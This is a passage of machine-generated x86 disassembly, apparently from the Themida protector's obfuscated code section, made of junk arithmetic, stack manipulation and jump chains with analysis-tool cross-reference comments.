mov ebx, 69E3609h
and ebx, 47C142BCh
jmp loc_562ECC
; END OF FUNCTION CHUNK FOR sub_56971C
; ---------------------------------------------------------------------------
loc_563AEE: ; CODE XREF: Themida_:0055C9AAj
push 7B071A1Dh
pop edx
add edx, 0E04258C9h
jmp loc_55F82F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_563AFF: ; CODE XREF: sub_56755A-91C8j
add esp, 4
jmp loc_55F88C
; ---------------------------------------------------------------------------
loc_563B0A: ; CODE XREF: sub_56755A-25A0j
push eax
push [esp+12h+var_10+2]
push [esp+16h+var_18+2]
pop eax
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp+1Ah+var_1C+2]
pop esp
pop [esp+16h+var_18+2]
mov esp, [esp+12h+var_14+2]
imul cx, ax
push cx
pushf
jmp loc_55B555
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_563B38: ; CODE XREF: Themida_:00566ACAj
xchg edi, [esp]
mov esp, [esp]
mov [esp], esp
add dword ptr [esp], 4
jmp loc_56C8B1
; ---------------------------------------------------------------------------
loc_563B4D: ; CODE XREF: Themida_:00565771j
pop dword ptr [esp]
jmp loc_5624DF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_563B55: ; CODE XREF: sub_56755A+3CDj
push eax
jmp loc_55CCA2
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56971C
loc_563B5B: ; CODE XREF: sub_56971C-28F8j
pop ebp
add ecx, 4
push ecx
push [esp+0Ch+var_8]
pop ecx
pop [esp+0Ch+var_C]
pop esp
xchg eax, [esp+4+var_4]
jmp loc_56A80B
; END OF FUNCTION CHUNK FOR sub_56971C
; ---------------------------------------------------------------------------
mov cx, [esp]
push ecx
push esp
push dword ptr [esp]
jmp loc_560573
; ---------------------------------------------------------------------------
mov ax, [esp]
push eax
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp]
pop esp
mov [esp], esi
mov esi, esp
push 372Eh
mov [esp], eax
push 52B4h
mov [esp], edi
sub esp, 4
jmp loc_564152
; ---------------------------------------------------------------------------
loc_563BB4: ; CODE XREF: Themida_:0055E385j
push esp
pop ecx
push ebx
push 4
pop ebx
add ecx, ebx
push dword ptr [esp]
pop ebx
jmp loc_569525
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_563BC8: ; CODE XREF: sub_56755A-A699j
mov eax, 4
add edx, 3B2C5CD6h
add edx, 2773216Fh
add edx, eax
sub edx, 2773216Fh
sub edx, 3B2C5CD6h
jmp loc_567975
; ---------------------------------------------------------------------------
loc_563BEC: ; CODE XREF: sub_56755A-8733j
push ecx
mov ecx, 22C77A2Ah
jmp loc_56D79C
; ---------------------------------------------------------------------------
loc_563BF7: ; CODE XREF: sub_56755A-F77j
add eax, 4
add eax, 4
xor eax, [esp+0Ch+var_C]
xor [esp+0Ch+var_C], eax
xor eax, [esp+0Ch+var_C]
mov esp, [esp+0Ch+var_C]
shr eax, 18h
jmp loc_56C1EB
; ---------------------------------------------------------------------------
loc_563C15: ; CODE XREF: sub_56755A-5C9Ej
add edx, 4
jmp loc_56293B
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_563C20: ; CODE XREF: Themida_:0055C922j
sub edi, 0FD2BB6AEh
xor esi, edi
mov edi, [esp]
add esp, 4
push edx
jmp loc_55D093
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_563C37: ; CODE XREF: sub_56755A+64F0j
pop esp
mov [esp-4+arg_0], ecx
push esp
pop ecx
push ebx
mov ebx, 310C7BEAh
sub ebx, 654F3BACh
jmp loc_5662D1
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55FE13
loc_563C4E: ; CODE XREF: sub_55FE13+A49Ej
push edx
mov dl, 0BCh
jmp loc_5636A1
; END OF FUNCTION CHUNK FOR sub_55FE13
; ---------------------------------------------------------------------------
pop dword ptr [edx]
jmp loc_55B555
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_563C5D: ; CODE XREF: sub_56755A-5080j
pop edx
sub eax, 3C154E5h
jmp loc_5703B7
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_563C68: ; CODE XREF: Themida_:0056FDB6j
pop ecx
jmp loc_565C2A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_563C6E: ; CODE XREF: sub_56755A+50E4j
shr ecx, 8
push esi
jmp loc_56A287
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56667A
loc_563C77: ; CODE XREF: sub_56667A-CA9j
pop edi
add edx, 13724510h
push 0
sub [esp+4+var_4], edx
push [esp+4+var_4]
mov edx, [esp+8+var_8]
add esp, 4
jmp loc_56ED4F
; END OF FUNCTION CHUNK FOR sub_56667A
; ---------------------------------------------------------------------------
loc_563C94: ; CODE XREF: Themida_:0056F2A3j
pop ecx
jmp loc_5662FA
; ---------------------------------------------------------------------------
loc_563C9A: ; CODE XREF: Themida_:0055D356j
pop ebp
add ebx, 2
jmp loc_566703
; ---------------------------------------------------------------------------
loc_563CA3: ; CODE XREF: Themida_:0056D0A2j
mov al, 8Eh
or al, 0F4h
neg al
xor al, 90h
and bl, al
pop eax
add bl, 7Eh
shr bl, 2
or bl, 3Dh
shl bl, 8
jmp loc_56CCE5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5702DD
loc_563CBF: ; CODE XREF: sub_5702DD-FC48j
mov eax, [esp+0]
add esp, 4
jmp loc_5694A5
; END OF FUNCTION CHUNK FOR sub_5702DD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55DA88
loc_563CCD: ; CODE XREF: sub_55DA88+68AFj
xor ebx, 84408Dh
push ebx
jmp loc_570674
; END OF FUNCTION CHUNK FOR sub_55DA88
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_563CD9: ; CODE XREF: sub_56755A-5E47j
add esp, 4
jmp loc_56F6E4
; ---------------------------------------------------------------------------
loc_563CE4: ; CODE XREF: sub_56755A-CDEj
xor edx, eax
pop eax
push 6EEh
mov [esp+2Ch+var_2C], edi
mov edi, 4555473Ch
jmp loc_55F7F2
; ---------------------------------------------------------------------------
loc_563CF9: ; CODE XREF: sub_56755A-9F63j
mov edx, edi
jmp loc_55FC21
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5706E9
loc_563D00: ; CODE XREF: sub_5706E9-C649j
sub ebx, 6CA20144h
add ebx, eax
push edx
push esi
mov esi, 3BCF520Eh
mov edx, 0A8715352h
sub edx, esi
pop esi
add ebx, edx
pop edx
pop eax
jmp loc_56AF28
; END OF FUNCTION CHUNK FOR sub_5706E9
; ---------------------------------------------------------------------------
loc_563D20: ; CODE XREF: Themida_:00569424j
pop esi
pop dword ptr [esp]
jmp loc_55C110
; ---------------------------------------------------------------------------
mov cx, [esp]
push ebp
push 2D71h
mov [esp], esp
add dword ptr [esp], 4
pop ebp
jmp loc_569BCE
; ---------------------------------------------------------------------------
loc_563D40: ; CODE XREF: Themida_:00569B48j
xchg ebx, [esp]
mov esp, [esp]
push 4BD6h
jmp loc_55B699
; ---------------------------------------------------------------------------
loc_563D50: ; CODE XREF: Themida_:005660CEj
sub esi, 39061772h
jmp loc_55F612
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5696A6
loc_563D5B: ; CODE XREF: sub_5696A6+17j
push edi
mov edi, esp
add edi, 4
add edi, 4
xor edi, [esp+8+var_8]
xor [esp+8+var_8], edi
xor edi, [esp+8+var_8]
pop esp
push 6B71h
mov [esp+8+var_8], edx
sub esp, 4
mov [esp+0], ebp
jmp loc_56F965
; END OF FUNCTION CHUNK FOR sub_5696A6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561ED8
loc_563D8A: ; CODE XREF: sub_561ED8+18j
add esp, 4
jmp loc_565582
; END OF FUNCTION CHUNK FOR sub_561ED8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562272
loc_563D95: ; CODE XREF: sub_562272+4819j
sub edi, 16E022B0h
jmp loc_55EE65
; END OF FUNCTION CHUNK FOR sub_562272
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_563DA0: ; CODE XREF: sub_56755A+5D6Bj
pop edi
add edi, 4ED65A2Bh
push edi
xor [esp+14h+var_14], edx
xor edx, [esp+14h+var_14]
xor [esp+14h+var_14], edx
sub esp, 4
mov [esp+18h+var_18], edx
not [esp+18h+var_18]
mov edx, [esp+18h+var_18]
add esp, 4
xchg edx, [esp+14h+var_14]
pop edi
jmp loc_5605A9
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D600
loc_563DC9: ; CODE XREF: sub_56D600-F11Ej
shr dh, 6
neg dh
shr dh, 6
xor dh, 0B4h
jmp loc_5616F7
; END OF FUNCTION CHUNK FOR sub_56D600
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_563DD9: ; CODE XREF: sub_56755A+4336j
add ebp, 4
sub ebp, 4
xchg ebp, [esp+10h+var_10]
pop esp
jmp loc_568602
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_563DEE: ; CODE XREF: Themida_:005705C2j
sub ebx, 0C92C8B83h
push edx
mov edx, 4B4912CCh
add eax, edx
mov edx, [esp]
add esp, 4
sub eax, 5EF70B21h
jmp loc_55BC24
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_563E0F: ; CODE XREF: sub_56755A-A127j
sub edi, 0FFD6FE10h
jmp loc_56D0AF
; ---------------------------------------------------------------------------
loc_563E1A: ; CODE XREF: sub_56755A+3947j
pop edx
push ebx
mov ebx, 17892116h
or ebx, 6FCD4186h
jmp loc_56C4FB
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_563E2C: ; CODE XREF: Themida_:005603F1j
pop ebp
jmp loc_566D28
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56971C
loc_563E32: ; CODE XREF: sub_56971C+30E9j
sub ecx, edi
pop edi
mov esi, ecx
pop ecx
jmp loc_569622
; END OF FUNCTION CHUNK FOR sub_56971C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_563E3D: ; CODE XREF: sub_56755A+924Bj
not ecx
shl ecx, 3
jmp loc_55E49D
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55CD7B
loc_563E47: ; CODE XREF: sub_55CD7B-1544j
xor ebx, ecx
xor ecx, ebx
add ecx, 30DD4D36h
jmp loc_56F95E
; END OF FUNCTION CHUNK FOR sub_55CD7B
; ---------------------------------------------------------------------------
loc_563E56: ; CODE XREF: Themida_:00560AB3j
shl ebx, 6
shr ebx, 5
sub ebx, 0CAF92692h
mov eax, ebx
pop ebx
or eax, 718A3F05h
sub eax, 6E70CBBDh
add ebx, eax
pop eax
push ebp
mov ebp, 435B2E39h
inc ebp
shl ebp, 8
shl ebp, 3
inc ebp
jmp loc_569082
; ---------------------------------------------------------------------------
loc_563E85: ; CODE XREF: Themida_:005657C1j
pop esp
push edi
mov edi, esp
push eax
mov eax, 3F614EF4h
sub eax, 1F3A6D62h
and eax, 26320249h
jmp loc_56694F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AC81
loc_563E9E: ; CODE XREF: sub_56AC81-6BB4j
add ebx, 4
push ebx
push [esp+8+var_4]
mov ebx, [esp+0Ch+var_C]
add esp, 4
pop [esp+8+var_8]
pop esp
and [esp+0], eax
pushf
jmp loc_55B555
; END OF FUNCTION CHUNK FOR sub_56AC81
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56250B
loc_563EB9: ; CODE XREF: sub_56250B+3A50j
add ebp, 4
xchg ebp, [esp+8+var_8]
mov esp, [esp+8+var_8]
sub bx, 5648h
sub bx, 3074h
sub bx, ax
add bx, 3074h
add bx, 5648h
jmp sub_560EB5
; END OF FUNCTION CHUNK FOR sub_56250B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CEE9
loc_563EDE: ; CODE XREF: sub_56CEE9-3284j
xor edi, [esp+0]
xor [esp+0], edi
xor edi, [esp+0]
pop esp
mov [esp-4+arg_0], ebx
push ebp
mov ebp, esp
push 5CD1h
mov [esp+4+var_4], ebx
mov ebx, 1D492874h
jmp loc_55CA7D
; END OF FUNCTION CHUNK FOR sub_56CEE9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_563F00: ; CODE XREF: sub_56755A+4F8Aj
add ebp, 4
jmp loc_56F5A8
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B5E8
loc_563F0B: ; CODE XREF: sub_56B5E8-561Fj
xor bl, al
movzx eax, al
push dword ptr [edi+eax*4]
push esi
mov esi, 56994487h
add [esp+8+var_4], esi
pop esi
mov eax, [esp+4+var_4]
add esp, 4
push 7A8Bh
jmp loc_567C78
; END OF FUNCTION CHUNK FOR sub_56B5E8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_563F2E: ; CODE XREF: sub_56755A-7604j
push edx
jmp loc_55FA12
; ---------------------------------------------------------------------------
loc_563F34: ; CODE XREF: sub_56755A-797Cj
add [esp-14h+arg_10], 4
pop esi
push edx
mov edx, 4
add esi, edx
pop edx
sub esp, 4
mov [esp-14h+arg_10], eax
mov eax, 4
push ecx
mov ecx, 1CC12C49h
push eax
mov eax, 7A7E12E9h
xor eax, 42D21D09h
add ecx, eax
pop eax
inc ecx
jmp loc_55BFFC
; ---------------------------------------------------------------------------
loc_563F6A: ; CODE XREF: sub_56755A-B2E4j
push ecx
push ebp
jmp loc_56AFD4
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E89A
loc_563F71: ; CODE XREF: sub_56E89A-C557j
pop esp
jmp loc_561930
; END OF FUNCTION CHUNK FOR sub_56E89A
; ---------------------------------------------------------------------------
lodsb
sub esp, 2
mov [esp], cx
push ebx
jmp loc_560D27
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_563F88: ; CODE XREF: sub_56755A+21j
add esp, 4
jmp loc_56B25F
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5646E3
loc_563F93: ; CODE XREF: sub_5646E3-723Aj
mov ecx, [esp+0]
push edi
jmp loc_567ADC
; END OF FUNCTION CHUNK FOR sub_5646E3
; ---------------------------------------------------------------------------
loc_563F9C: ; CODE XREF: Themida_:0055DCCBj
sub esp, 4
jmp loc_568FE6
; ---------------------------------------------------------------------------
loc_563FA4: ; CODE XREF: Themida_:0055EB3Cj
xor [esp], ecx
xor ecx, [esp]
mov esp, [esp]
push 511h
mov [esp], edi
push ecx
mov ecx, 34C437AFh
or ecx, 3EFF6A5Dh
inc ecx
jmp loc_56B3B9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_563FC7: ; CODE XREF: sub_56755A-6ACj
push [esp+8+var_4]
pop edi
pop [esp+8+var_8]
mov esp, [esp+4+var_4]
jmp loc_55EF15
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CB1B
loc_563FD7: ; CODE XREF: sub_56CB1B+Dj
add edi, ebp
pop ebp
add edi, 7E479B2h
add edi, ecx
push 3AB8h
mov [esp+4+var_4], ebx
mov ebx, 8A36E8Eh
jmp loc_564840
; END OF FUNCTION CHUNK FOR sub_56CB1B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56F7FC
loc_563FF4: ; CODE XREF: sub_56F7FC-4A39j
pop esp
sub edx, 0FFFFFFFFh
jmp loc_565A08
; END OF FUNCTION CHUNK FOR sub_56F7FC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_564000: ; CODE XREF: sub_56755A+5A6j
add edi, esi
pop esi
jmp loc_565C3B
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_564008: ; CODE XREF: Themida_:0056D762j
add ecx, 4
xchg ecx, [esp]
jmp loc_55C3E2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5607D3
loc_564016: ; CODE XREF: sub_5607D3+45DEj
mov ebp, edx
pop edx
add ebp, 6B2A4276h
xor ebp, 0A022484h
add ebp, 41F24615h
xor ebp, 8B37CC04h
and ebx, ebp
pop ebp
xor ebx, 74C03F18h
sub ebx, 0FE8C9D7Dh
push ebx
xor [esp+4+var_4], 243B23A9h
mov ecx, [esp+4+var_4]
jmp loc_566748
; END OF FUNCTION CHUNK FOR sub_5607D3
; ---------------------------------------------------------------------------
loc_564050: ; CODE XREF: Themida_:0056B1D9j
pop edi
sub eax, edi
push edx
mov edx, 67833920h
add eax, edx
jmp loc_5704AA
; ---------------------------------------------------------------------------
loc_564060: ; CODE XREF: Themida_:0056F27Ej
sub eax, edx
mov edx, [esp]
add esp, 4
pop edi
push edi
mov edi, esp
add edi, 4
push esi
mov esi, 4
sub edi, esi
pop esi
xchg edi, [esp]
mov esp, [esp]
mov [esp], ebp
jmp loc_569B24
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569E65
loc_564089: ; CODE XREF: sub_569E65-50DCj
push 4009h
mov [esp+4+var_4], ecx
jmp loc_55B9F9
; END OF FUNCTION CHUNK FOR sub_569E65
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5706E9
loc_564096: ; CODE XREF: sub_5706E9-75D5j
or eax, 43F50210h
add eax, 280AFD11h
jmp loc_563D00
; END OF FUNCTION CHUNK FOR sub_5706E9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E89A
loc_5640A5: ; CODE XREF: sub_56E89A+9FDj
push edx
mov edx, 0D019C26Fh
sub edi, edx
pop edx
add eax, edi
mov edi, [esp+0Ch+var_C]
add esp, 4
add eax, 4
xchg eax, [esp+8+var_8]
pop esp
push ebx
mov ebx, esp
jmp loc_560DFC
; END OF FUNCTION CHUNK FOR sub_56E89A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AC81
loc_5640C5: ; CODE XREF: sub_56AC81+3D65j
mov ecx, 4
add ebx, ecx
pop ecx
jmp loc_563E9E
; END OF FUNCTION CHUNK FOR sub_56AC81
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5702DD
loc_5640D2: ; CODE XREF: sub_5702DD-11F2Bj
mov edx, ebx
pop ebx
sub esp, 4
mov [esp-4+arg_0], edx
pop esi
push [esp-8+arg_4]
pop edx
add esp, 4
push 67E6h
mov [esp-8+arg_4], esi
pop dword ptr [edi+24h]
pop esi
xor edx, edx
push 7705h
mov [esp-0Ch+arg_8], esi
push ebx
push 24A1h
mov [esp-4+arg_0], edi
push eax
mov eax, 0D4C19F1h
inc eax
shl eax, 6
shl eax, 7
inc eax
jmp loc_56D576
; END OF FUNCTION CHUNK FOR sub_5702DD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AA40
loc_56411B: ; CODE XREF: sub_56AA40+1CF1j
sub ebx, 7AA02C6Eh
pop ecx
add ebx, edi
push esi
mov esi, 11A03854h
sub ebx, esi
pop esi
jmp sub_563A41
; END OF FUNCTION CHUNK FOR sub_56AA40
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D164
loc_564132: ; CODE XREF: sub_56D164-17ECj
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp+0]
pop esp
jmp sub_55EA9F
; END OF FUNCTION CHUNK FOR sub_56D164
; ---------------------------------------------------------------------------
loc_564147: ; CODE XREF: Themida_:005689E2j
add eax, 458813FFh
pop edx
jmp loc_569DFD
; ---------------------------------------------------------------------------
loc_564152: ; CODE XREF: Themida_:00563BAFj
mov [esp], eax
mov eax, 4
push eax
add dword ptr [esp], 24671978h
pop edi
sub edi, 24671978h
pop eax
push 5556h
mov [esp], edi
pop eax
jmp loc_561AEE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560CAA
loc_564178: ; CODE XREF: sub_560CAA+6j
mov [esp+4+var_4], edx
jmp loc_56A0AD
; END OF FUNCTION CHUNK FOR sub_560CAA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_564180: ; CODE XREF: sub_56755A-B80Dj
not eax
sub eax, 47EC19E4h
jmp sub_5706E9
; ---------------------------------------------------------------------------
loc_56418C: ; CODE XREF: sub_56755A+78F7j
add edx, 0EC50BF54h
add ebx, edx
pop edx
push 5F52h
jmp loc_56ADA5
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56542E
loc_56419F: ; CODE XREF: sub_56542E-102Cj
xor ebp, [esp+4+var_4]
mov esp, [esp+4+var_4]
push 3B8Ch
mov [esp-8+arg_4], edi
sub esp, 4
mov [esp-4+arg_0], ebp
mov ebp, 200000h
mov edi, ebp
mov ebp, [esp-4+arg_0]
sub esp, 4
mov [esp+0], ecx
jmp loc_565DCA
; END OF FUNCTION CHUNK FOR sub_56542E
; ---------------------------------------------------------------------------
mov cx, [esp]
push edx
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp]
pop esp
jmp loc_5667C1
; ---------------------------------------------------------------------------
loc_5641E4: ; CODE XREF: Themida_:0056C0FCj
push dword ptr [esp+4]
jmp loc_562625
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_5641ED: ; CODE XREF: sub_56755A+63C7j
neg ebx
push esi
mov esi, 6137A91h
or ebx, esi
pop esi
jmp loc_560E84
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_5641FD: ; CODE XREF: Themida_:00568DAEj
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_566B64
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56F7FC
loc_56420C: ; CODE XREF: sub_56F7FC-13CEj
or ebp, 5E203CA0h
not ebp
sub ebp, 0FFFFFFFFh
push ebx
mov ebx, 4FCB05E1h
or ebp, ebx
pop ebx
add ebp, 9F3977B2h
sub esi, ebp
jmp loc_56B3CA
; END OF FUNCTION CHUNK FOR sub_56F7FC
; ---------------------------------------------------------------------------
loc_56422D: ; CODE XREF: Themida_:0056C521j
mov [esp], ebx
mov bl, 8Fh
shr bl, 4
shr bl, 5
xor bl, 5
jmp loc_561960
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_564240: ; CODE XREF: sub_56755A+8921j
mov ebp, eax
push [esp+12h+var_14+2]
pop eax
push esi
mov esi, esp
add esi, 4
add esi, 4
jmp loc_55D4E1
; ---------------------------------------------------------------------------
loc_564257: ; CODE XREF: sub_56755A-8728j
shl [esp+1Ch+var_1C], cl
pushf
jmp loc_56EF12
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56572D
loc_564260: ; CODE XREF: sub_56572D+17j
sub ebp, 0FB4BAE42h
sub eax, ebp
pop ebp
xor ebp, eax
pop eax
or ebp, 0B383319h
push ebx
mov ebx, 380A0209h
xor ebx, 1974D485h
sub ebp, ebx
mov ebx, [esp-4+arg_0]
add esp, 4
jmp loc_56DA40
; END OF FUNCTION CHUNK FOR sub_56572D
; ---------------------------------------------------------------------------
loc_56428E: ; CODE XREF: Themida_:0055C402j
sub ecx, edx
jmp loc_56B1E9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56971C
loc_564295: ; CODE XREF: sub_56971C-BBj
push [esp+0Ch+var_C]
jmp loc_56C072
; END OF FUNCTION CHUNK FOR sub_56971C
; ---------------------------------------------------------------------------
loc_56429D: ; CODE XREF: Themida_:0056FF90j
xchg esi, [esp]
jmp loc_55CC22
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_5642A5: ; CODE XREF: sub_56755A+8F83j
push [esp+20h+var_20]
pop edx
push esi
jmp loc_56FAE8
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_5642AF: ; CODE XREF: Themida_:0056B573j
push dword ptr [esp]
pop edx
add esp, 4
push 7E54h
mov [esp], ebx
push esp
jmp loc_55C045
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_5642C7: ; CODE XREF: sub_56755A-7370j
add esp, 4
jmp loc_562DAB
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56F7FC
loc_5642D2: ; CODE XREF: sub_56F7FC-6639j
pop ecx
jmp loc_56E408
; END OF FUNCTION CHUNK FOR sub_56F7FC
; ---------------------------------------------------------------------------
loc_5642D8: ; CODE XREF: Themida_:00561BB9j
push edx
push 670Ch
mov [esp], ebx
mov bl, 0E6h
mov dh, 70h
xor dh, bl
pop ebx
push ecx
mov ch, 46h
shl ch, 5
add ch, 57h
push ebx
mov bh, ch
not bh
mov ch, bh
pop ebx
sub ch, 0DBh
push edx
mov dh, 6Dh
jmp loc_562D22
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_564304: ; CODE XREF: sub_56755A-1D55j
push eax
mov eax, esp
jmp loc_568EE0
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
push ebx
mov ebx, 2030E5Ah
jmp loc_55D787
; ---------------------------------------------------------------------------
loc_564317: ; CODE XREF: Themida_:00569226j
push edi
push esi
mov esi, 0DFA696Dh
xor esi, 21913967h
mov edi, esi
pop esi
jmp loc_56306F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55DA88
loc_56432C: ; CODE XREF: sub_55DA88+9j
mov ebx, 211022B8h
shl ebx, 1
shr ebx, 7
dec ebx
jmp loc_563CCD
; END OF FUNCTION CHUNK FOR sub_55DA88
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561D98
loc_56433C: ; CODE XREF: sub_561D98+Cj
add eax, 16E30860h
push eax
pop ecx
pop eax
mov ebx, 0ABE0CE8Bh
add ebx, ecx
pop ecx
sub ebp, ebx
push [esp-4+arg_0]
jmp loc_56C78B
; END OF FUNCTION CHUNK FOR sub_561D98
; =============== S U B R O U T I N E =======================================
sub_564356 proc near ; CODE XREF: sub_5702DD-6E2Dj
; FUNCTION CHUNK AT 0055E614 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00560806 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00564A54 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00568575 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005692F2 SIZE 00000007 BYTES
push ebp
jmp loc_55E614
sub_564356 endp
; ---------------------------------------------------------------------------
loc_56435C: ; CODE XREF: Themida_:0056C01Fj
sub eax, 0D3D09B0h
sub eax, 13543ACDh
add eax, 0C0480D11h
jmp loc_55C322
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565269
loc_564370: ; CODE XREF: sub_565269-3E93j
mov ecx, [esp+10h+var_10]
add esp, 4
add ecx, 4
jmp loc_55E758
; END OF FUNCTION CHUNK FOR sub_565269
; ---------------------------------------------------------------------------
loc_564384: ; CODE XREF: Themida_:0055EDAEj
add al, dl
pop edx
push 3A29h
mov [esp], ebx
mov bl, 5
shl bl, 7
jmp loc_568C18
; ---------------------------------------------------------------------------
mov ax, [esp]
jmp loc_55E7F9
; ---------------------------------------------------------------------------
loc_5643A2: ; CODE XREF: Themida_:00561039j
mov ecx, [esp]
jmp loc_56EA67
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_5643AA: ; CODE XREF: sub_56755A-7AE6j
xor edi, edx
jmp loc_560C45
; END OF FUNCTION CHUNK FOR sub_56755A
; =============== S U B R O U T I N E =======================================
sub_5643B1 proc near ; CODE XREF: sub_56E1F0+241Ej
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0055E4EF SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00560E46 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056154C SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005673C0 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0056B458 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0056D926 SIZE 00000036 BYTES
; FUNCTION CHUNK AT 0056DE92 SIZE 0000000B BYTES
sub esp, 4
jmp loc_56154C
sub_5643B1 endp
; =============== S U B R O U T I N E =======================================
sub_5643BC proc near ; CODE XREF: sub_565B25-45FCj
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 00568D99 SIZE 0000000D BYTES
